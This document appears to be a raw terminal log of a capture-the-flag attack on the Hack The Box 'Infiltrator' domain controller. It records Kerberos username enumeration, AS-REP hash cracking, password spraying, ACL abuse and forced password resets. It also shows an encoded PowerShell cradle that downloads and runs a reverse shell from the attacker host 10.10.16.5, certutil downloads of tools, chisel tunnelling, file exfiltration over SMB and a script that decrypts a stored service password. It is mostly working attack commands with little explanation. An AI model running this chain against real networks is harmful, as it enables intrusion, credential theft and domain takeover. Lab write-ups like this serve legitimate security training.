Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ nxc smb 10.10.11.31
SMB 10.10.11.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
❯ ldapsearch -x -H ldap://10.10.11.31 -s base | grep defaultNamingContext
defaultNamingContext: DC=infiltrator,DC=htb❯ cat /etc/hosts | grep 10.10.11.31
10.10.11.31 dc01.infiltrator.htb infiltrator.htb❯ sudo ntpdate -s 10.10.11.31
❯ cat /etc/resolv.con| grep 10.10.11.31
nameserver 10.10.11.31
❯ sudo systemctl restart NetworkManager❯ wget https://gist.githubusercontent.com/superkojiman/11076951/raw/74f3de7740acb197ecfa8340d07d3926a95e5d46/namemash.py
--2025-01-17 18:42:27-- https://gist.githubusercontent.com/superkojiman/11076951/raw/74f3de7740acb197ecfa8340d07d3926a95e5d46/namemash.py
Resolviendo gist.githubusercontent.com (gist.githubusercontent.com)... 185.199.108.133, 185.199.110.133, 185.199.109.133, ...
Conectando con gist.githubusercontent.com (gist.githubusercontent.com)[185.199.108.133]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 2086 (2,0K) [text/plain]
Grabando a: «namemash.py»
namemash.py 100%[===================================================================================================================================>] 2,04K --.-KB/s en 0s
2025-01-17 18:42:28 (34,3 MB/s) - «namemash.py» guardado [2086/2086]
❯ cat employees.txt
david anderson
olivia martinez
kevin turner
amanda walker
marcus harris
lauren clark
ethan rodriguez
❯ chmod +x namemash.py
❯ ./namemash.py employees.txt > possible_users.txt❯ kerbrute userenum --dc 10.10.11.31 -d infiltrator.htb possible_users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 01/17/25 - Ronnie Flathers @ropnop
2025/01/17 18:44:37 > Using KDC(s):
2025/01/17 18:44:37 > 10.10.11.31:88
2025/01/17 18:44:37 > [+] VALID USERNAME: d.anderson@infiltrator.htb
2025/01/17 18:44:37 > [+] VALID USERNAME: o.martinez@infiltrator.htb
2025/01/17 18:44:37 > [+] VALID USERNAME: k.turner@infiltrator.htb
2025/01/17 18:44:37 > [+] VALID USERNAME: a.walker@infiltrator.htb
2025/01/17 18:44:37 > [+] VALID USERNAME: m.harris@infiltrator.htb
2025/01/17 18:44:37 > [+] VALID USERNAME: e.rodriguez@infiltrator.htb
2025/01/17 18:47:44 > [+] VALID USERNAME: l.clark@infiltrator.htb
2025/01/17 18:44:37 > Done! Tested 78 usernames (7 valid) in 0.872 seconds❯ cat users.txt
2025/01/17 18:44:37 > [+] VALID USERNAME: d.anderson@infiltrator.htb
2025/01/17 18:44:37 > [+] VALID USERNAME: o.martinez@infiltrator.htb
2025/01/17 18:44:37 > [+] VALID USERNAME: k.turner@infiltrator.htb
2025/01/17 18:44:37 > [+] VALID USERNAME: a.walker@infiltrator.htb
2025/01/17 18:44:37 > [+] VALID USERNAME: m.harris@infiltrator.htb
2025/01/17 18:44:37 > [+] VALID USERNAME: e.rodriguez@infiltrator.htb
2025/01/17 18:47:44 > [+] VALID USERNAME: l.clark@infiltrator.htb
❯ cat users.txt | awk '{print $NF}' | awk '{print $1}' FS='@'
d.anderson
o.martinez
k.turner
a.walker
m.harris
e.rodriguez
l.clark
❯ cat users.txt | awk '{print $NF}' | awk '{print $1}' FS='@' | sponge users.txt❯ impacket-GetNPUsers -no-pass -usersfile users.txt infiltrator.htb/ 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] User d.anderson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User o.martinez doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User k.turner doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User a.walker doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User m.harris doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User e.rodriguez doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$l.clark@INFILTRATOR.HTB:76890a639a822a2a5f2aca12844f246d$0bf760af3d8cfce1b276ff32c9da558ca0073da317e52f22b343d7284af86d21abc939d1332f83eb6bd8c327e5bdf96c737468840ab0cfc87bf95201887f8d8c6c1bce285a08bd060ed9fc4d16192970262eb3216ada25bfc293f599e8af46d2ddc83774da32f0487b45e09648de0c23b7dd8643568245b6fbbc72686d036e432571e7862b934b74a7acb895572dc539401235856869f8fdd87066be370d5ef2184cf2f4c85b9783853445778fdce0d07d938c86e0d633516a394eba4858afda625102b5c35134904ac34ab978bfed656ba6a15830a011d4e151b2d32b1d215b0d94beb2180a8cc237581de7967a423fef8e❯ hashcat -a 0 hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-sandybridge-11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz, 2913/5891 MB (1024 MB allocatable), 8MCU
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
18200 | Kerberos 5, etype 23, AS-REP | Network Protocol
...[snip]...
$krb5asrep$23$l.clark@INFILTRATOR.HTB:76890a639a822a2a5f2aca12844f246d$0bf760af3d8cfce1b276ff32c9da558ca0073da317e52f22b343d7284af86d21abc939d1332f83eb6bd8c327e5bdf96c737468840ab0cfc87bf95201887f8d8c6c1bce285a08bd060ed9fc4d16192970262eb3216ada25bfc293f599e8af46d2ddc83774da32f0487b45e09648de0c23b7dd8643568245b6fbbc72686d036e432571e7862b934b74a7acb895572dc539401235856869f8fdd87066be370d5ef2184cf2f4c85b9783853445778fdce0d07d938c86e0d633516a394eba4858afda625102b5c35134904ac34ab978bfed656ba6a15830a011d4e151b2d32b1d215b0d94beb2180a8cc237581de7967a423fef8e:WAT?watismypass!❯ nxc smb 10.10.11.31 -u 'l.clark' -p 'WAT?watismypass!'
SMB 10.10.11.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.31 445 DC01 [+] infiltrator.htb\l.clark:WAT?watismypass! ❯ ldapdomaindump -u 'infiltrator.htb\l.clark' -p 'WAT?watismypass!' dc01.infiltrator.htb -o ldap
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
❯ cd ldap
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ nxc smb 10.10.11.31 -u 'k.turner' -p 'MessengerApp@Pass!'
SMB 10.10.11.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\k.turner:MessengerApp@Pass! STATUS_LOGON_FAILURE ❯ nxc smb 10.10.11.31 -u users.txt -p 'WAT?watismypass!' --continue-on-success
SMB 10.10.11.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\d.anderson:WAT?watismypass! STATUS_ACCOUNT_RESTRICTION
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\o.martinez:WAT?watismypass! STATUS_LOGON_FAILURE
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\k.turner:WAT?watismypass! STATUS_LOGON_FAILURE
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\a.walker:WAT?watismypass! STATUS_LOGON_FAILURE
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\m.harris:WAT?watismypass! STATUS_ACCOUNT_RESTRICTION
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\e.rodriguez:WAT?watismypass! STATUS_LOGON_FAILURE
SMB 10.10.11.31 445 DC01 [+] infiltrator.htb\l.clark:WAT?watismypass!❯ nxc smb 10.10.11.31 -u users.txt -p 'WAT?watismypass!' --continue-on-success -k
SMB 10.10.11.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.31 445 DC01 [+] infiltrator.htb\d.anderson:WAT?watismypass!
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\o.martinez:WAT?watismypass! KDC_ERR_PREAUTH_FAILED
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\k.turner:WAT?watismypass! KDC_ERR_PREAUTH_FAILED
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\a.walker:WAT?watismypass! KDC_ERR_PREAUTH_FAILED
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\m.harris:WAT?watismypass! KDC_ERR_PREAUTH_FAILED
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\e.rodriguez:WAT?watismypass! KDC_ERR_PREAUTH_FAILED
SMB 10.10.11.31 445 DC01 [+] infiltrator.htb\l.clark:WAT?watismypass! ❯ kerbrute passwordspray -d infiltrator.htb --dc dc01.infiltrator.htb users.txt 'WAT?watismypass!'
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 01/17/25 - Ronnie Flathers @ropnop
2025/01/17 18:55:02 > Using KDC(s):
2025/01/17 18:55:02 > dc01.infiltrator.htb:88
2025/01/17 18:55:02 > [+] VALID LOGIN: l.clark@infiltrator.htb:WAT?watismypass!
2025/01/17 18:55:02 > [+] VALID LOGIN: d.anderson@infiltrator.htb:WAT?watismypass!
2025/01/17 18:55:02 > Done! Tested 7 logins (2 successes) in 0.343 seconds❯ nxc smb dc01.infiltrator.htb -u 'd.anderson' -p 'WAT?watismypass!'
SMB 10.10.11.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.31 445 DC01 [-] infiltrator.htb\d.anderson:WAT?watismypass! STATUS_ACCOUNT_RESTRICTION
❯ nxc smb dc01.infiltrator.htb -u 'd.anderson' -p 'WAT?watismypass!' -k
SMB dc01.infiltrator.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB dc01.infiltrator.htb 445 DC01 [+] infiltrator.htb\d.anderson:WAT?watismypass! ❯ impacket-getTGT infiltrator.htb/d.anderson:'WAT?watismypass!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in d.anderson.ccache
❯ export KRB5CCNAME=$(pwd)/d.anderson.ccache
❯ klist -e
Ticket cache: FILE:/home/kali/Desktop/HackTheBox/Windows/Infiltrator/Infiltrator2/content/d.anderson.ccache
Default principal: d.anderson@INFILTRATOR.HTB
Valid starting Expires Service principal
17/01/25 21:17:44 18/01/25 01:17:44 krbtgt/INFILTRATOR.HTB@INFILTRATOR.HTB
renew until 18/01/25 01:17:44, Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96❯ bloodhound-python -c All -ns 10.10.11.31 -u 'd.anderson' -p 'WAT?watismypass!' -k --auth-method kerberos -d infiltrator.htb --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: infiltrator.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc01.infiltrator.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.infiltrator.htb
INFO: Found 14 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.infiltrator.htb
INFO: Done in 00M 15S
INFO: Compressing output into 20250117191838_bloodhound.zip❯ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -k set owner 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'd.anderson'
[+] Old owner S-1-5-21-2606098828-3734741516-3625406802-512 is now replaced by d.anderson on OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB
❯ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -k add genericAll 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'd.anderson'
[+] d.anderson has now GenericAll on OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB❯ impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb'/'d.anderson' -k -no-pass -dc-ip 10.10.11.31 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20250117-212533.bak
[*] DACL modified successfully!
❯ impacket-dacledit -action 'read' -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb'/'d.anderson' -k -no-pass -dc-ip 10.10.11.31 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Parsing DACL
[*] Printing parsed DACL
[*] Filtering results for SID (S-1-5-21-2606098828-3734741516-3625406802-1103)
[*] ACE[6] info
[*] ACE Type : ACCESS_ALLOWED_ACE
[*] ACE flags : None
[*] Access mask : FullControl (0xf01ff)
[*] Trustee (SID) : D.anderson (S-1-5-21-2606098828-3734741516-3625406802-1103)
[*] ACE[7] info
[*] ACE Type : ACCESS_ALLOWED_ACE
[*] ACE flags : CONTAINER_INHERIT_ACE, OBJECT_INHERIT_ACE
[*] Access mask : FullControl (0xf01ff)
[*] Trustee (SID) : D.anderson (S-1-5-21-2606098828-3734741516-3625406802-1103)❯ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u 'd.anderson' -k set password 'e.rodriguez' 'Password01!'
[+] Password changed successfully!
❯ nxc smb dc01.infiltrator.htb -u 'e.rodriguez' -p 'Password01!' -k
SMB dc01.infiltrator.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB dc01.infiltrator.htb 445 DC01 [+] infiltrator.htb\e.rodriguez:Password01!❯ impacket-getTGT infiltrator.htb/e.rodriguez:'Password01!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in e.rodriguez.ccache
❯ export KRB5CCNAME=$(pwd)/e.rodriguez.ccache
❯ klist -e
Ticket cache: FILE:/home/kali/Desktop/HackTheBox/Windows/Infiltrator/Infiltrator2/content/e.rodriguez.ccache
Default principal: e.rodriguez@INFILTRATOR.HTB
Valid starting Expires Service principal
17/01/25 21:30:25 18/01/25 07:30:25 krbtgt/INFILTRATOR.HTB@INFILTRATOR.HTB
renew until 18/01/25 21:30:33, Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96❯ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u 'e.rodriguez' -k add groupMember 'CHIEFS MARKETING' 'e.rodriguez'
[+] e.rodriguez added to CHIEFS MARKETING
❯ ldapsearch -x -H ldap://10.10.11.31 -D "CN=E.Rodriguez,OU=Marketing Digital,DC=infiltrator,DC=htb" -w 'Password01!' -b "CN=Chiefs Marketing,CN=Users,DC=infiltrator,DC=htb" member
#
# LDAPv3
# base <CN=Chiefs Marketing,CN=Users,DC=infiltrator,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: member
#
# Chiefs Marketing, Users, infiltrator.htb
dn: CN=Chiefs Marketing,CN=Users,DC=infiltrator,DC=htb
member: CN=E.rodriguez,OU=Marketing Digital,DC=infiltrator,DC=htb
member: CN=A.walker,CN=Users,DC=infiltrator,DC=htb
member: CN=O.martinez,CN=Users,DC=infiltrator,DC=htb❯ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u 'e.rodriguez' -k set password 'm.harris' 'Password01!'
[+] Password changed successfully!
❯ nxc smb dc01.infiltrator.htb -u 'm.harris' -p 'Password01!' -k
SMB dc01.infiltrator.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB dc01.infiltrator.htb 445 DC01 [+] infiltrator.htb\m.harris:Password01! ❯ impacket-getTGT infiltrator.htb/m.harris:'Password01!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in m.harris.ccache
❯ export KRB5CCNAME=$(pwd)/m.harris.ccache
❯ klist -e
Ticket cache: FILE:/home/kali/Desktop/HackTheBox/Windows/Infiltrator/Infiltrator2/content/m.harris.ccache
Default principal: m.harris@INFILTRATOR.HTB
Valid starting Expires Service principal
17/01/25 21:40:23 18/01/25 01:40:23 krbtgt/INFILTRATOR.HTB@INFILTRATOR.HTB
renew until 18/01/25 01:40:23, Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96❯ evil-winrm -i dc01.infiltrator.htb -r infiltrator.htb
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\M.harris\Documents> type ../Desktop/user.txt
0e37c6698b4b********************❯ cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 .
❯ mv Invoke-PowerShellTcp.ps1 rev.ps1
❯ nvim rev.ps1
❯ head -n 1 rev.ps1 && tail -n 1 rev.ps1
function Gzzcoo
Gzzcoo -Reverse -IPAddress 10.10.16.5 -Port 443❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...❯ echo 'IEX(New-Object Net.WebClient).downloadString("http://10.10.16.5/rev.ps1")' | iconv -t utf-16le | base64 -w 0; echo
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADUALwByAGUAdgAuAHAAcwAxACIAKQAKAA==
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...*Evil-WinRM* PS C:\> powershell -e <BASE64_CODE>❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.31] 62397
Windows PowerShell running as user M.harris on DC01
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\>whoami
infiltrator\m.harrisPS C:\Program Files> ls
Directory: C:\Program Files
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/4/2023 9:22 AM Common Files
d----- 8/21/2024 1:50 PM Hyper-V
d----- 2/19/2024 3:52 AM internet explorer
d----- 2/23/2024 5:06 AM Output Messenger
d----- 1/17/2025 7:02 AM Output Messenger Server
...[snip]...❯ ls -l winPEASx64.exe
.rw-r--r-- kali kali 9.4 MB Fri Jan 17 22:00:43 2025 winPEASx64.exe
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...PS C:\Windows\System32\spool\drivers\color> certutil.exe -f -urlcache -split http://10.10.16.5/winPEASx64.exe wPE.exe
**** Online ****
000000 ...
962e00
CertUtil: -URLCache command completed successfully.
PS C:\Windows\System32\spool\drivers\color> PS C:\Windows\System32\spool\drivers\color> ./wPE.exe > result.txt
PS C:\Windows\System32\spool\drivers\color> ls
Directory: C:\Windows\System32\spool\drivers\color
Mode LastWriteTime Length Name
---- ------------- ------ ----
...[snip]...
-a---- 1/17/2025 1:05 PM 271602 result.txt
-a---- 1/17/2025 1:03 PM 9842176 wPE.exe ❯ smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsedPS C:\Windows\System32\spool\drivers\color> copy result.txt \\10.10.16.5\smbFolder\result.txt❯ ls -l chisel*
.rwxr-xr-x root root 8.9 MB Fri Jan 17 22:34:37 2025 chisel
.rw-r--r-- root root 9.3 MB Fri Jan 17 22:34:34 2025 chisel.exe
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...PS C:\Windows\System32\spool\drivers\color> certutil.exe -f -urlcache -split http://10.10.16.5/chisel.exe chisel.exe
**** Online ****
000000 ...
94f000
CertUtil: -URLCache command completed successfully.❯ ./chisel server --reverse -p 1234
2025/01/17 22:40:37 server: Reverse tunnelling enabled
2025/01/17 22:40:37 server: Fingerprint I6Ynm0ZTnuYDUNAGFMMgzfXZBpDcrTUbgapoYk6CTMc=
2025/01/17 22:40:37 server: Listening on http://0.0.0.0:1234PS C:\Windows\System32\spool\drivers\color> .\chisel.exe client 10.10.16.5:1234 R:14118:127.0.0.1:14118 R:14119:127.0.0.1:14119 R:14121:127.0.0.1:14121 R:14122:127.0.0.1:14122 R:14123:127.0.0.1:14123 R:14125:127.0.0.1:14125 R:14126:127.0.0.1:14126 R:14127:127.0.0.1:14127 R:14128:127.0.0.1:14128 R:14130:127.0.0.1:14130 R:14406:127.0.0.1:14406❯ netstat -ano | grep "LISTEN"
tcp6 0 0 :::1234 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::14121 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::14122 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::14123 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::14125 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::14126 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::14127 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::14118 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::14119 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::14128 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::14130 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::14406 :::* LISTEN off (0.00/0/0)❯ echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
1
❯ catnp /proc/sys/net/ipv4/ip_forward
1
❯ sudo iptables -A FORWARD -i tun0 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
❯ sudo iptables -A FORWARD -i eth0 -o tun0 -j ACCEPT
❯ ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.249.128 netmask 255.255.255.0 broadcast 192.168.249.255
inet6 fe80::17ec:5b0f:745a:a939 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:8f:cb:51 txqueuelen 1000 (Ethernet)
RX packets 398298 bytes 93414302 (89.0 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 354211 bytes 137266652 (130.9 MiB)
TX errors 0 dropped 116 overruns 0 carrier 0 collisions 0
❯ sudo iptables -t nat -A POSTROUTING -s 192.168.249.0/24 -o tun0 -j MASQUERADEPS C:\Windows\system32> ping -n 1 10.10.11.31
Pinging 10.10.11.31 with 32 bytes of data:
Request timed out.
Ping statistics for 10.10.11.31:
Packets: Sent = 1, Received = 0, Lost = 1 (100% loss),
PS C:\Windows\system32>PS C:\Windows\system32> route add 10.10.10.0/23 mask 255.255.254.0 192.168.249.128
OK!
PS C:\Windows\system32> ping -n 1 10.10.11.31
Pinging 10.10.11.31 with 32 bytes of data:
Reply from 10.10.11.31: bytes=32 time=32ms TTL=126
Ping statistics for 10.10.11.31:
Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 32ms, Maximum = 32ms, Average = 32ms
PS C:\Windows\system32>
PS C:\Windows\system32> route add 10.10.16.0/16 mask 255.255.0.0 192.168.249.128
OK!
PS C:\Windows\system32> ping -n 1 10.10.16.5
Pinging 10.10.16.5 with 32 bytes of data:
Reply from 10.10.16.5: bytes=32 time=3ms TTL=64
Ping statistics for 10.10.16.5:
Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 3ms, Maximum = 3ms, Average = 3ms
PS C:\Windows\system32>❯ nxc smb dc01.infiltrator.htb -u users.txt -p 'D3v3l0p3r_Pass@1337!' -k --continue-on-success
SMB dc01.infiltrator.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB dc01.infiltrator.htb 445 DC01 [-] infiltrator.htb\d.anderson:D3v3l0p3r_Pass@1337! KDC_ERR_PREAUTH_FAILED
SMB dc01.infiltrator.htb 445 DC01 [-] infiltrator.htb\o.martinez:D3v3l0p3r_Pass@1337! KDC_ERR_PREAUTH_FAILED
SMB dc01.infiltrator.htb 445 DC01 [-] infiltrator.htb\k.turner:D3v3l0p3r_Pass@1337! KDC_ERR_PREAUTH_FAILED
SMB dc01.infiltrator.htb 445 DC01 [-] infiltrator.htb\a.walker:D3v3l0p3r_Pass@1337! KDC_ERR_PREAUTH_FAILED
SMB dc01.infiltrator.htb 445 DC01 [+] infiltrator.htb\m.harris:D3v3l0p3r_Pass@1337!
SMB dc01.infiltrator.htb 445 DC01 [-] infiltrator.htb\e.rodriguez:D3v3l0p3r_Pass@1337! KDC_ERR_PREAUTH_FAILED
SMB dc01.infiltrator.htb 445 DC01 [+] infiltrator.htb\l.clark account vulnerable to asreproast attackfrom Crypto.Cipher import AES
import base64
def decrypt_string(key, cipher_text):
key_bytes = key.encode('utf-8')
cipher_bytes = base64.b64decode(cipher_text)
cipher = AES.new(key_bytes, AES.MODE_CBC, b'\x00' * 16)
decrypted_bytes = cipher.decrypt(cipher_bytes)
# Elimina el relleno PKCS7 (donde el último byte indica la cantidad de relleno)
padding_length = decrypted_bytes[-1]
decrypted_bytes = decrypted_bytes[:-padding_length]
decrypted_text = decrypted_bytes.decode('utf-8')
return decrypted_text
if __name__ == "__main__":
import sys
if len(sys.argv) != 2:
print("Usage: python decrypt_script.py <cipher_text>")
sys.exit(1)
cipher_text = sys.argv[1]
key = "b14ca5898a4e4133bbce2ea2315a1916" # Clave para AES
decrypted_text = decrypt_string(key, cipher_text)
print(f"Contraseña descifrada: {decrypted_text}")❯ python decrypt.py TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE=
Contraseña descifrada: SKqwQk81tgq+C3V7pzc1SA==
❯ echo 'SKqwQk81tgq+C3V7pzc1SA==' | base64 -d; echo
H��BO5�
�
u{�75H
❯ python decrypt.py SKqwQk81tgq+C3V7pzc1SA==
Contraseña descifrada: WinRm@$svc^!^P❯ nxc smb dc01.infiltrator.htb -u 'winrm_svc' -p 'WinRm@$svc^!^P' -k
SMB dc01.infiltrator.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB dc01.infiltrator.htb 445 DC01 [+] infiltrator.htb\winrm_svc:WinRm@$svc^!^P ❯ impacket-getTGT infiltrator.htb/winrm_svc:'WinRm@$svc^!^P'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in winrm_svc.ccache
❯ export KRB5CCNAME=$(pwd)/winrm_svc.ccache
❯ klist -e
Ticket cache: FILE:/home/kali/Desktop/HackTheBox/Windows/Infiltrator/Infiltrator2/content/winrm_svc.ccache
Default principal: winrm_svc@INFILTRATOR.HTB
Valid starting Expires Service principal
18/01/25 00:27:56 18/01/25 10:27:56 krbtgt/INFILTRATOR.HTB@INFILTRATOR.HTB
renew until 19/01/25 00:28:04, Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 ❯ evil-winrm -i dc01.infiltrator.htb -r infiltrator.htb
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> cd "C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA"
*Evil-WinRM* PS C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA> ls
Directory: C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/25/2024 7:20 AM Audios
d----- 2/25/2024 7:20 AM CalendarFiles
d----- 2/25/2024 7:26 AM Log
d----- 2/25/2024 7:20 AM MailInbox
d----- 2/25/2024 7:20 AM MailSent
d----- 2/25/2024 7:20 AM Received Files
d----- 2/25/2024 7:20 AM Screenshots
d----- 2/25/2024 7:20 AM Temp
d----- 2/25/2024 7:20 AM Theme
